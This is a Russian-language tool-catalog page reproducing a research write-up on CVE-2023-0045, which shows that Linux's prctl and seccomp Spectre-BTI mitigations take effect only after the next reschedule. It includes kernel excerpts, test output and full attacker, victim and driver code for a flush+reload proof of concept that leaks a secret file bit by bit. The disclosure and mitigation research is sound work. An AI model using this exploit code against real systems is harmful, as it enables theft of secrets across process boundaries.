Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-0045 — Технический анализ и proof-of-concept, демонстрирующие обход пользовательских средств смягчения Spectre-BTI в ядре Linux с помощью prctl и seccomp, с использованием эксплойта побочного канала flush+reload. | Kitploit
Инструменты/GitHubGitHub/askyeye/cve-2023-0045
Анализ уязвимостейЭксплуатацияАппаратная БезопасностьСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

Технический анализ и proof-of-concept, демонстрирующие обход пользовательских средств смягчения Spectre-BTI в ядре Linux с помощью prctl и seccomp, с использованием эксплойта побочного канала flush+reload.

Репозиторий
343 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обход пользовательских смягчений Spectre-BTI в Linux

Это рабочий документ, пожалуйста, присылайте нам отзывы, если считаете, что мы что-то упустили или пропустили ссылку

Версия 1.0

Хосе Оливейра (esoj)

Родриго Бранко (BSDaemon)

Введение

При тестировании успешности атак Spectre-BTI мы обнаружили странную закономерность при использовании API ядра в качестве смягчения1. Наши тесты показали, что ядро Linux неверно смягчает атаку, оставляя процесс уязвимым в течение короткого периода времени после системного вызова.

Дальнейшее расследование показало, что ядро не выдает IBPB немедленно во время системного вызова. Функция ib_prctl_set2 обновляет флаги информации потока (TIF) для задачи и обновляет MSR SPEC_CTRL в функции __speculation_ctrl_update 3, но IBPB выдается только при следующем перепланировании, когда проверяются биты TIF. Это оставляет жертву уязвимой для значений, уже внедрённых в BTB до системного вызова prctl. Поведение исправляется только после перепланирования задачи. Кроме того, вход в ядро (из-за самого системного вызова) не выдает IBPB в стандартных сценариях (т.е. когда ядро защищается с помощью retpoline или eIBRS).

Смягчение с помощью prctl

Выполнение prctl для смягчения атак Spectre-BTI с помощью: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); приводит к вызову функции ib_prctl_set2 в ядре 5.15. Когда используется опция SPEC_DISABLE, устанавливается бит TIF для task_set_spec_ib_disable и вызывается task_update_spec_tif:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable вызывает set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); и если целевая задача является текущей, она вызывает speculation_ctrl_update_current();

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

После обертки speculation_ctrl_update_current функция speculation_ctrl_update выполняет __speculation_ctrl_update с tifp = ~tifp. Здесь обновляется wrmsr для установки STIBP, но IBPB не выдается:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

Системный вызов seccomp также использует ib_prctl_set2 для смягчения, внутри arch_seccomp_spec_mitigate4, поэтому с seccomp ожидается тот же результат.

Тесты

Хотя посредством анализа кода мы уверены, что окно для эксплуатации существует, было неясно, достаточно ли оно велико, чтобы жертва загрузила секреты, а атакующий их украл (поскольку ожидается, что секретов не будет в адресном пространстве жертвы до вызова prctl). Тесты выполнялись на физической машине с аппаратной поддержкой смягчений, с установленной Ubuntu 22.04.1 LTS:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

Тестовый код состоит из двух процессов, выполняющихся на одном логическом ядре. Атакующий постоянно отравляет BTB адресом спекулятивного гаджета, присутствующего в процессе жертвы. Жертва измеряет частоту неверных предсказаний, проверяя, была ли доступна тестовая переменная функцией спекулятивного гаджета. Обычно это дает следующий вывод:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

Затем для смягчения атаки используется PRCTL. Смягчение можно включить, добавив prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); в начале программы. Ожидается, что это смягчит атаку Spectre-BTI:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

Однако некоторые тесты показали другой результат:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

И изменение 'nice' (приоритета), похоже, влияет на частоту неверных предсказаний:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

Это указывает на то, что prctl защищал процесс только после следующего перепланирования, как и было понято из анализа кода. Еще одно странное поведение этого теста заключается в том, что после неверного ветвления путь спекуляции должен быть исправлен, и истинное значение должно быть записано в BTB. Поскольку на соседнем потоке нет других атакующих, которые могли бы повторно отравить BTB, такие высокие значения неверных предсказаний неожиданны.

Доказательство концепции

Чтобы убедиться, что это не ошибка измерения, мы создали простую PoC. Код жертвы всегда выполняет safe_function через указатель на функцию, который уязвим для атаки Spectre-BTI. Жертва запрашивает у ядра защиту с помощью системного вызова prctl (внутри protect_me). Жертва также загружает секрет из текстового файла, показывая, что другие системные вызовы также не проверяют бит TIF или не вызывают перепланирование, которое бы принудительно выполнило IBPB.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

Большинство функций libc были помещены в общий заголовочный файл для атакующего и жертвы, чтобы функция spectre_gadget и spec имели одинаковые адреса памяти как у жертвы, так и у атакующего (в противном случае создается запись .GOT и адреса меняются). Это не является обязательным требованием, существуют и другие способы размещения ветвлений по одним и тем же адресам и имитации контекста жертвы, но этот метод проще.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

Атака заключается в отравлении BTB путем вызова функции spec и принудительном переходе на spectre_gadget вместо safe_function. После тренировки создается процесс жертвы, который выполняет spec и делает неверное предсказание в пользу spectre_gadget, который никогда не должен выполняться. Секрет утекает через классический побочный канал flush+reload.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

Поскольку жертва получает аргумент, который можно использовать для выбора бита, который будет украден через побочный канал, мы можем выполнять процесс жертвы несколько раз, пока работает атакующий:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Это создает следующий текстовый файл:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

Обратите внимание, что биты 0 и 6 равны 1, следовательно, первый символ должен быть 0x41 (A). Разбор файла с помощью простого скрипта Python показывает: The secret leaked is: b'Asuper_secret_flag' Что является точным содержимым файла secret.txt, который используется жертвой.

Замена вызова prctl на seccomp с syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); после загрузки секрета не предотвращает атаку. Это ожидаемо, поскольку внутренне оба используют одну и ту же функцию ib_prctl_set для реализации смягчения.

Заключение

Текущая реализация системного вызова prctl для управления спекулятивными процессами не защищает пользователя от атакующих, действующих до применения смягчения. Смягчение seccomp также не работает в этом сценарии.

Смягчения

Для пользовательских приложений достаточно usleep после вызова prctl, чтобы принудительно выполнить перепланирование и обеспечить правильное смягчение. Один из возможных патчей ядра для этой атаки — выдача IBPB одновременно с установкой STIBP в __speculation_ctrl_update 3 или вызов schedule().

Временная шкала

  • 27 декабря 2022 г. — Обнаружено неожиданное поведение prctl
  • 29 декабря 2022 г. — Первая версия этого документа
  • 31 декабря 2022 г. — Передано команде безопасности ядра Linux
  • 3 февраля 2023 г. — Отчет опубликован: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Ссылки:

Footnotes

  1. “The Linux kernel user-space API guide: Speculation Control”. Ссылка: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Исходный код Linux" Ссылка: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467 ↩ ↩2 ↩3

  3. "Исходный код Linux" Ссылка: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557 ↩ ↩2

  4. "Исходный код Linux" Ссылка: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616 ↩

Скачать инструмент